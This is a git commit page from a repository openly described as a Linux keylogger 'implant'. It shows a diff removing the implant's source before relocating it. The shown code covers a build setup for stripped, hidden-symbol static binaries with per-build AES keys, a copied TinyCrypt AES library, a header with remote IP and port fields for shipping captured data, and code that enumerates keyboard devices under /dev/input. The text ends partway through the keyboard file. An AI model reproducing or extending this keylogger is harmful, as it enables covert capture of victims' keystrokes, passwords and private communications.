mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit e6ebcbfdf08ec8ce6a7f02d3c30574d2776cfa9a
parent 03fc59224c63d5d74bb5d04baf9eff0a13073163
Author: djnn <[email protected]>
Date: Tue, 25 Mar 2025 23:20:16 +0900

wip(implant): encrypting strings at runtime ?.?

Diffstat:
Dimplant/Makefile | 91-------------------------------------------------------------------------------
Dimplant/includes/aes.h | 117-------------------------------------------------------------------------------
Dimplant/includes/implant.h | 92-------------------------------------------------------------------------------
Dimplant/sources/aes.c | 349-------------------------------------------------------------------------------
Dimplant/sources/kbd.c | 112-------------------------------------------------------------------------------
Dimplant/sources/main.c | 36------------------------------------
Dimplant/sources/opt.c | 55-------------------------------------------------------
Dimplant/sources/utils.c | 200-------------------------------------------------------------------------------
Rimplant/.clang-format -> mazepa-implant/.clang-format | 0
Rimplant/.gitignore -> mazepa-implant/.gitignore | 0
Amazepa-implant/Makefile | 91+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amazepa-implant/includes/implant.h | 105+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Rimplant/sources/daemon.c -> mazepa-implant/sources/daemon.c | 0
Amazepa-implant/sources/kbd.c | 119+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amazepa-implant/sources/main.c | 36++++++++++++++++++++++++++++++++++++
Amazepa-implant/sources/opt.c | 51+++++++++++++++++++++++++++++++++++++++++++++++++++
Amazepa-implant/sources/utils.c | 231+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

17 files changed, 633 insertions(+), 1052 deletions(-)

diff --git a/implant/Makefile b/implant/Makefile
@@ -1,91 +0,0 @@
-
-ifeq ($(MAKECMDGOALS), debug)
-	CLIENT_ID = DEBUG
-else
-	CLIENT_ID = $(shell echo $$RANDOM | md5sum | head -c 10)
-
-	AES_ALGO  := aes-128-cbc
-	AES_KEY   := $(shell echo $$RANDOM | md5sum | head -c 24 | xxd -p -u)
-	AES_IV    := $(shell echo $$RANDOM | md5sum | head -c 24 | xxd -p -u)
-endif
-
-NAME		 	= mazepa_$(CLIENT_ID)
-CC			 	= clang
-RM			 	= rm -rf
-
-INCLUDES 	 	= -I./includes/
-LINK_FLAG    	=
-
-CFLAGS 			= -Wno-unused-command-line-argument -fPIC
-ifeq ($(MAKECMDGOALS), debug)
-	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security -Wno-visibility -DCLIENTID=DEBUG -Wno-unsafe-buffer-usage
-	CFLAGS 			+= -Wno-unused-macros
-else
-	CFLAGS 		 	+= -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s -static -Wno-visibility
-	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s -Wno-unsafe-buffer-usage
-	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
-	CFLAGS 			+= -DCLIENTID=$(CLIENT_ID) -DAES_KEY=$(AES_KEY) -DAES_IV=$(AES_IV)
-endif
-
-
-PATTERN 	 	= .c
-OBJPATTERN  	= .o
-SRC_DIR 		= ./sources
-OBJECT_DIR 		= ./objects
-
-vpath %$(PATTERN) $(SRC_DIR)
-
-MAIN		 	= main.c
-SRC 		 	= opt.c utils.c daemon.c kbd.c aes.c
-
-
-COMBINED		= $(SRC) $(MAIN)
-OBJ 	 		= $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
-
-
-.PHONY: all
-all: directories $(NAME) ## generate PROD binary (you might have to run make fclean before)
-	@strip -s $(NAME)
-	@echo "   [*** BINARY STRIP DONE ***]"
-
-.PHONY: help
-help:
-	@echo "\033[34mtargets:\033[0m"
-	@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
-
-
-.PHONY: debug
-debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
-	@echo "[ ** DEBUG BINARY COMPILED WITH $(CFLAGS) **]"
-
-
-$(OBJECT_DIR):
-	@mkdir -pv $@
-
-directories: | $(OBJECT_DIR)
-
-$(OBJECT_DIR)/%$(OBJPATTERN) : %$(PATTERN)
-	@$(CC) -o $@ -c $< $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
-	@echo "Compiling $@"
-
-$(NAME): $(OBJ)
-	@$(CC) -o $(NAME) $^ $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
-	@echo "[*** COMPILATION  SUCCESSFUL ***]"
-
-.PHONY: clean
-clean:  ## removes object files
-	@$(RM) objects
-
-.PHONY: fclean
-fclean: clean  ## removes all compilation artifacts
-	@$(RM) $(NAME) mazepa_*
-	@echo "[*** CLEAN ***]"
-
-.PHONY: gen-compile-commands
-gen-compile-commands: clean ## generate compile_commands.json
-	@bear -- make debug
-
-.PHONY: re  ## cleans everything and rebuild PROD binary
-re: fclean all
-
-
diff --git a/implant/includes/aes.h b/implant/includes/aes.h
@@ -1,117 +0,0 @@
-/* aes.h - TinyCrypt interface to an AES-128 implementation
-
-   https://github.com/intel/tinycrypt/blob/master/lib/include/tinycrypt/aes.h
-*/
-
-/*
- *  Copyright (C) 2017 by Intel Corporation, All Rights Reserved.
- *
- *  Redistribution and use in source and binary forms, with or without
- *  modification, are permitted provided that the following conditions are met:
- *
- *    - Redistributions of source code must retain the above copyright notice,
- *     this list of conditions and the following disclaimer.
- *
- *    - Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- *    - Neither the name of Intel Corporation nor the names of its contributors
- *    may be used to endorse or promote products derived from this software
- *    without specific prior written permission.
- *
- *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
- *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
- *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- *  CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- *  SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- *  INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
- *  CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- *  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
- *  POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef __TC_AES_H__
-#define __TC_AES_H__
-
-#include <stdint.h>
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#define Nb (4)  /* number of columns (32-bit words) comprising the state */
-#define Nk (4)  /* number of 32-bit words comprising the key */
-#define Nr (10) /* number of rounds */
-#define TC_AES_BLOCK_SIZE (Nb * Nk)
-#define TC_AES_KEY_SIZE (Nb * Nk)
-
-typedef struct tc_aes_key_sched_struct {
-    unsigned int words[Nb * (Nr + 1)];
-} *TCAesKeySched_t;
-
-/**
- *  @brief Set AES-128 encryption key
- *  Uses key k to initialize s
- *  @return  returns TC_CRYPTO_SUCCESS (1)
- *           returns TC_CRYPTO_FAIL (0) if: s == NULL or k == NULL
- *  @note       This implementation skips the additional steps required for keys
- *              larger than 128 bits, and must not be used for AES-192 or
- *              AES-256 key schedule -- see FIPS 197 for details
- *  @param      s IN/OUT -- initialized struct tc_aes_key_sched_struct
- *  @param      k IN -- points to the AES key
- */
-int tc_aes128_set_encrypt_key(TCAesKeySched_t s, const uint8_t *k);
-
-/**
- *  @brief AES-128 Encryption procedure
- *  Encrypts contents of in buffer into out buffer under key;
- *              schedule s
- *  @note Assumes s was initialized by aes_set_encrypt_key;
- *              out and in point to 16 byte buffers
- *  @return  returns TC_CRYPTO_SUCCESS (1)
- *           returns TC_CRYPTO_FAIL (0) if: out == NULL or in == NULL or s == NULL
- *  @param out IN/OUT -- buffer to receive ciphertext block
- *  @param in IN -- a plaintext block to encrypt
- *  @param s IN -- initialized AES key schedule
- */
-int tc_aes_encrypt(uint8_t *out, const uint8_t *in,
-                   const TCAesKeySched_t s);
-
-/**
- *  @brief Set the AES-128 decryption key
- *  Uses key k to initialize s
- *  @return returns TC_CRYPTO_SUCCESS (1)
- *          returns TC_CRYPTO_FAIL (0) if: s == NULL or k == NULL
- *  @note       This is the implementation of the straightforward inverse cipher
- *              using the cipher documented in FIPS-197 figure 12, not the
- *              equivalent inverse cipher presented in Figure 15
- *  @warning    This routine skips the additional steps required for keys larger
- *              than 128, and must not be used for AES-192 or AES-256 key
- *              schedule -- see FIPS 197 for details
- *  @param s  IN/OUT -- initialized struct tc_aes_key_sched_struct
- *  @param k  IN -- points to the AES key
- */
-int tc_aes128_set_decrypt_key(TCAesKeySched_t s, const uint8_t *k);
-
-/**
- *  @brief AES-128 Encryption procedure
- *  Decrypts in buffer into out buffer under key schedule s
- *  @return returns TC_CRYPTO_SUCCESS (1)
- *          returns TC_CRYPTO_FAIL (0) if: out is NULL or in is NULL or s is NULL
- *  @note   Assumes s was initialized by aes_set_encrypt_key
- *          out and in point to 16 byte buffers
- *  @param out IN/OUT -- buffer to receive ciphertext block
- *  @param in IN -- a plaintext block to encrypt
- *  @param s IN -- initialized AES key schedule
- */
-int tc_aes_decrypt(uint8_t *out, const uint8_t *in,
-                   const TCAesKeySched_t s);
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif /* __TC_AES_H__ */
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -1,92 +0,0 @@
-
-#ifndef IMPLANT_H
-#define IMPLANT_H
-
-#include <stdint.h>
-#include <sys/queue.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define _GNU_SOURCE
-
-#ifdef DEBUG
-#include <errno.h>
-#endif
-
-#define QUEUE_BUFFER_SIZE 1024
-#define STRING_BUFFER_SIZE 256
-
-/*
-    represents whatever data is currently logged for a single keyboard
-    also holds its file descriptor
-*/
-typedef struct keyboard_s keyboard_t;
-struct keyboard_s {
-    int fd;
-
-    uint64_t nb_chars;
-    uint8_t buffer[QUEUE_BUFFER_SIZE];
-
-    int8_t name[STRING_BUFFER_SIZE];
-    TAILQ_ENTRY(keyboard_s)
-    devices;
-};
-
-/*
-    contains project settings, such as target
-    port & IP address, whether debug mode is enabled
-    or stuff like this
-*/
-typedef struct implant_s {
-
-    /* remote connection settings */
-    uint16_t port;
-    int8_t ip[STRING_BUFFER_SIZE];
-    uint8_t disable_net;
-
-    /* keyboard settings (multiple if using dock or something) */
-    TAILQ_HEAD(listhead, keyboard_s)
-    kbd;
-
-    uint8_t using_caps_lock;
-} implant_t;
-
-/* will be overriden by make rules if debug mode not enabled */
-#define CLIENT_ID ("DEBUG")
-
-#define SUCCESSFUL 1
-#define ERROR 0
-
-#include <stdio.h> /* necessary for the snprintf in the macro */
-#include <syslog.h>
-
-#ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...)                              \
-    do {                                               \
-        char data[512] = {0};                          \
-        if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
-            _exit(1);                                  \
-        syslog(LOG_NOTICE, data);                      \
-    } while (0)
-#endif
-
-#define KEY_PRESSED 1
-#define KEY_RELEASED 0
-
-// opt.c
-int run_lexer(int, char **, implant_t *);
-
-// deamon.c
-void daemon_setup(void);
-
-// kbd.c
-uint8_t fetch_available_keyboards(implant_t *instance);
-
-// utils.c
-int8_t file_get_contents(int8_t const *, int8_t **);
-int8_t *remove_repeating_whitespaces(int8_t *);
-uint32_t array_get_size(int8_t **);
-void array_free(int8_t **);
-int8_t **array_from_string(const int8_t *, int8_t);
-
-#endif /* IMPLANT_H */
diff --git a/implant/sources/aes.c b/implant/sources/aes.c
@@ -1,349 +0,0 @@
-/* aes_encrypt.c - TinyCrypt implementation of AES encryption procedure */
-
-/*
- *  Copyright (C) 2017 by Intel Corporation, All Rights Reserved.
- *
- *  Redistribution and use in source and binary forms, with or without
- *  modification, are permitted provided that the following conditions are met:
- *
- *    - Redistributions of source code must retain the above copyright notice,
- *     this list of conditions and the following disclaimer.
- *
- *    - Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- *    - Neither the name of Intel Corporation nor the names of its contributors
- *    may be used to endorse or promote products derived from this software
- *    without specific prior written permission.
- *
- *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
- *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
- *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- *  CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- *  SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- *  INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
- *  CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- *  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
- *  POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "aes.h"
-#include <string.h>
-#include "implant.h"
-
-static const uint8_t sbox[256] = {
-    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,
-    0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,
-    0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,
-    0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
-    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,
-    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,
-    0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,
-    0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
-    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,
-    0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
-    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,
-    0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
-    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,
-    0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,
-    0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,
-    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
-    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,
-    0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,
-    0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,
-    0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
-    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,
-    0xb0, 0x54, 0xbb, 0x16};
-
-static const uint8_t inv_sbox[256] = {
-    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,
-    0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,
-    0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,
-    0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
-    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,
-    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,
-    0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,
-    0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
-    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,
-    0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,
-    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,
-    0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
-    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,
-    0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,
-    0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,
-    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
-    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,
-    0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,
-    0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,
-    0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
-    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,
-    0x55, 0x21, 0x0c, 0x7d};
-
-#define MASK_TWENTY_SEVEN 0x1b
-
-static unsigned int _copy(uint8_t *to, unsigned int to_len,
-                          const uint8_t *from, unsigned int from_len) {
-    if (from_len <= to_len) {
-        (void)memcpy(to, from, from_len);
-        return from_len;
-    } else {
-        return ERROR;
-    }
-}
-
-static void _set(void *to, uint8_t val, unsigned int len) {
-    (void)memset(to, val, len);
-}
-
-/*
- * Doubles the value of a byte for values up to 127.
- */
-static uint8_t _double_byte(uint8_t a) {
-    return ((a << 1) ^ ((a >> 7) * MASK_TWENTY_SEVEN));
-}
-
-static int _compare(const uint8_t *a, const uint8_t *b, size_t size) {
-    const uint8_t *tempa = a;
-    const uint8_t *tempb = b;
-    uint8_t result = 0;
-
-    for (unsigned int i = 0; i < size; i++) {
-        result |= tempa[i] ^ tempb[i];
-    }
-    return result;
-}
-
-static inline unsigned int rotword(unsigned int a) {
-    return (((a) >> 24) | ((a) << 8));
-}
-
-#define subbyte(a, o) (sbox[((a) >> (o)) & 0xff] << (o))
-#define subword(a) (subbyte(a, 24) | subbyte(a, 16) | subbyte(a, 8) | subbyte(a, 0))
-
-int tc_aes128_set_encrypt_key(TCAesKeySched_t s, const uint8_t *k) {
-    const unsigned int rconst[11] = {
-        0x00000000, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000,
-        0x20000000, 0x40000000, 0x80000000, 0x1b000000, 0x36000000};
-    unsigned int i;
-    unsigned int t;
-
-    if (s == (TCAesKeySched_t)0) {
-        return ERROR;
-    } else if (k == (const uint8_t *)0) {
-        return ERROR;
-    }
-
-    for (i = 0; i < Nk; ++i) {
-        s->words[i] = (k[Nb * i] << 24) | (k[Nb * i + 1] << 16) |
-                      (k[Nb * i + 2] << 8) | (k[Nb * i + 3]);
-    }
-
-    for (; i < (Nb * (Nr + 1)); ++i) {
-        t = s->words[i - 1];
-        if ((i % Nk) == 0) {
-            t = subword(rotword(t)) ^ rconst[i / Nk];
-        }
-        s->words[i] = s->words[i - Nk] ^ t;
-    }
-
-    return SUCCESSFUL;
-}
-
-static inline void add_round_key(uint8_t *s, const unsigned int *k) {
-    s[0] ^= (uint8_t)(k[0] >> 24);
-    s[1] ^= (uint8_t)(k[0] >> 16);
-    s[2] ^= (uint8_t)(k[0] >> 8);
-    s[3] ^= (uint8_t)(k[0]);
-    s[4] ^= (uint8_t)(k[1] >> 24);
-    s[5] ^= (uint8_t)(k[1] >> 16);
-    s[6] ^= (uint8_t)(k[1] >> 8);
-    s[7] ^= (uint8_t)(k[1]);
-    s[8] ^= (uint8_t)(k[2] >> 24);
-    s[9] ^= (uint8_t)(k[2] >> 16);
-    s[10] ^= (uint8_t)(k[2] >> 8);
-    s[11] ^= (uint8_t)(k[2]);
-    s[12] ^= (uint8_t)(k[3] >> 24);
-    s[13] ^= (uint8_t)(k[3] >> 16);
-    s[14] ^= (uint8_t)(k[3] >> 8);
-    s[15] ^= (uint8_t)(k[3]);
-}
-
-static inline void sub_bytes(uint8_t *s) {
-    unsigned int i;
-
-    for (i = 0; i < (Nb * Nk); ++i) {
-        s[i] = sbox[s[i]];
-    }
-}
-
-#define triple(a) (_double_byte(a) ^ (a))
-
-static inline void mult_row_column(uint8_t *out, const uint8_t *in) {
-    out[0] = _double_byte(in[0]) ^ triple(in[1]) ^ in[2] ^ in[3];
-    out[1] = in[0] ^ _double_byte(in[1]) ^ triple(in[2]) ^ in[3];
-    out[2] = in[0] ^ in[1] ^ _double_byte(in[2]) ^ triple(in[3]);
-    out[3] = triple(in[0]) ^ in[1] ^ in[2] ^ _double_byte(in[3]);
-}
-
-static inline void mix_columns(uint8_t *s) {
-    uint8_t t[Nb * Nk];
-
-    mult_row_column(t, s);
-    mult_row_column(&t[Nb], s + Nb);
-    mult_row_column(&t[2 * Nb], s + (2 * Nb));
-    mult_row_column(&t[3 * Nb], s + (3 * Nb));
-    (void)_copy(s, sizeof(t), t, sizeof(t));
-}
-
-/*
- * This shift_rows also implements the matrix flip required for mix_columns, but
- * performs it here to reduce the number of memory operations.
- */
-static inline void shift_rows(uint8_t *s) {
-    uint8_t t[Nb * Nk];
-
-    t[0] = s[0];
-    t[1] = s[5];
-    t[2] = s[10];
-    t[3] = s[15];
-    t[4] = s[4];
-    t[5] = s[9];
-    t[6] = s[14];
-    t[7] = s[3];
-    t[8] = s[8];
-    t[9] = s[13];
-    t[10] = s[2];
-    t[11] = s[7];
-    t[12] = s[12];
-    t[13] = s[1];
-    t[14] = s[6];
-    t[15] = s[11];
-    (void)_copy(s, sizeof(t), t, sizeof(t));
-}
-
-int tc_aes_encrypt(uint8_t *out, const uint8_t *in, const TCAesKeySched_t s) {
-    uint8_t state[Nk * Nb];
-    unsigned int i;
-
-    if (out == (uint8_t *)0) {
-        return ERROR;
-    } else if (in == (const uint8_t *)0) {
-        return ERROR;
-    } else if (s == (TCAesKeySched_t)0) {
-        return ERROR;
-    }
-
-    (void)_copy(state, sizeof(state), in, sizeof(state));
-    add_round_key(state, s->words);
-
-    for (i = 0; i < (Nr - 1); ++i) {
-        sub_bytes(state);
-        shift_rows(state);
-        mix_columns(state);
-        add_round_key(state, s->words + Nb * (i + 1));
-    }
-
-    sub_bytes(state);
-    shift_rows(state);
-    add_round_key(state, s->words + Nb * (i + 1));
-
-    (void)_copy(out, sizeof(state), state, sizeof(state));
-
-    /* zeroing out the state buffer */
-    _set(state, 0x00, sizeof(state));
-
-    return SUCCESSFUL;
-}
-
-int tc_aes128_set_decrypt_key(TCAesKeySched_t s, const uint8_t *k) {
-    return tc_aes128_set_encrypt_key(s, k);
-}
-
-#define mult8(a) (_double_byte(_double_byte(_double_byte(a))))
-#define mult9(a) (mult8(a) ^ (a))
-#define multb(a) (mult8(a) ^ _double_byte(a) ^ (a))
-#define multd(a) (mult8(a) ^ _double_byte(_double_byte(a)) ^ (a))
-#define multe(a) (mult8(a) ^ _double_byte(_double_byte(a)) ^ _double_byte(a))
-
-static inline void inv_mix_columns(uint8_t *s) {
-    uint8_t t[Nb * Nk];
-
-    mult_row_column(t, s);
-    mult_row_column(&t[Nb], s + Nb);
-    mult_row_column(&t[2 * Nb], s + (2 * Nb));
-    mult_row_column(&t[3 * Nb], s + (3 * Nb));
-    (void)_copy(s, sizeof(t), t, sizeof(t));
-}
-
-static inline void inv_sub_bytes(uint8_t *s) {
-    unsigned int i;
-
-    for (i = 0; i < (Nb * Nk); ++i) {
-        s[i] = inv_sbox[s[i]];
-    }
-}
-
-/*
- * This inv_shift_rows also implements the matrix flip required for
- * inv_mix_columns, but performs it here to reduce the number of memory
- * operations.
- */
-static inline void inv_shift_rows(uint8_t *s) {
-    uint8_t t[Nb * Nk];
-
-    t[0] = s[0];
-    t[1] = s[13];
-    t[2] = s[10];
-    t[3] = s[7];
-    t[4] = s[4];
-    t[5] = s[1];
-    t[6] = s[14];
-    t[7] = s[11];
-    t[8] = s[8];
-    t[9] = s[5];
-    t[10] = s[2];
-    t[11] = s[15];
-    t[12] = s[12];
-    t[13] = s[9];
-    t[14] = s[6];
-    t[15] = s[3];
-    (void)_copy(s, sizeof(t), t, sizeof(t));
-}
-
-int tc_aes_decrypt(uint8_t *out, const uint8_t *in, const TCAesKeySched_t s) {
-    uint8_t state[Nk * Nb];
-    unsigned int i;
-
-    if (out == (uint8_t *)0) {
-        return ERROR;
-    } else if (in == (const uint8_t *)0) {
-        return ERROR;
-    } else if (s == (TCAesKeySched_t)0) {
-        return ERROR;
-    }
-
-    (void)_copy(state, sizeof(state), in, sizeof(state));
-
-    add_round_key(state, s->words + Nb * Nr);
-
-    for (i = Nr - 1; i > 0; --i) {
-        inv_shift_rows(state);
-        inv_sub_bytes(state);
-        add_round_key(state, s->words + Nb * i);
-        inv_mix_columns(state);
-    }
-
-    inv_shift_rows(state);
-    inv_sub_bytes(state);
-    add_round_key(state, s->words);
-
-    (void)_copy(out, sizeof(state), state, sizeof(state));
-
-    /*zeroing out the state buffer */
-    _set(state, 0x00, sizeof(state));
-
-    return SUCCESSFUL;
-}
diff --git a/implant/sources/kbd.c b/implant/sources/kbd.c
@@ -1,112 +0,0 @@
-/**
- *  keyboard handling & locale support
- *
- *  input devices usually live in /dev/input/
- *
- *  you can identify the in the by-path subdirectory, which maps each
- *  device name to a symlink
- *
- *  here, we will return set an array of file-descriptor for each available
- *  keyboard on the machine, it should be appended with a -1 that should serve
- *  as a NULL value
- */
-
-#include "implant.h"
-
-#include <dirent.h>
-#include <fcntl.h>
-#include <limits.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/dir.h>
-#include <sys/queue.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-static int
-is_kbd(const struct dirent *f) {
-    size_t len = 0;
-
-    if (NULL == f)
-        return 0;
-
-    len = strlen(f->d_name);
-    if (len < 3)
-        return 0;
-
-    return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
-           f->d_name[len - 1] == 'd';
-}
-
-uint8_t fetch_available_keyboards(implant_t *instance) {
-
-    char rpath[2048] = {0};
-    struct dirent **char_devices = NULL;
-    int possible_paths = 0;
-
-    /* FIXME(djnn): base64 then decrypt string at runtime */
-    const char *dev_input_by_path = "/dev/input/by-path/";
-
-    if (!instance) {
-
-#ifdef DEBUG
-        DEBUG_LOG("[!] NULL ptr for instance struct\n");
-#endif
-        return ERROR;
-    }
-
-    possible_paths = scandir(dev_input_by_path, &char_devices, &is_kbd, &alphasort);
-    if (-1 == possible_paths || 0 > chdir(dev_input_by_path)) {
-
-#ifdef DEBUG
-        DEBUG_LOG("could not find possible keyboard paths\n");
-#endif
-
-        return ERROR;
-    }
-
-    /* prepare TAILQ  */
-    TAILQ_INIT(&instance->kbd);
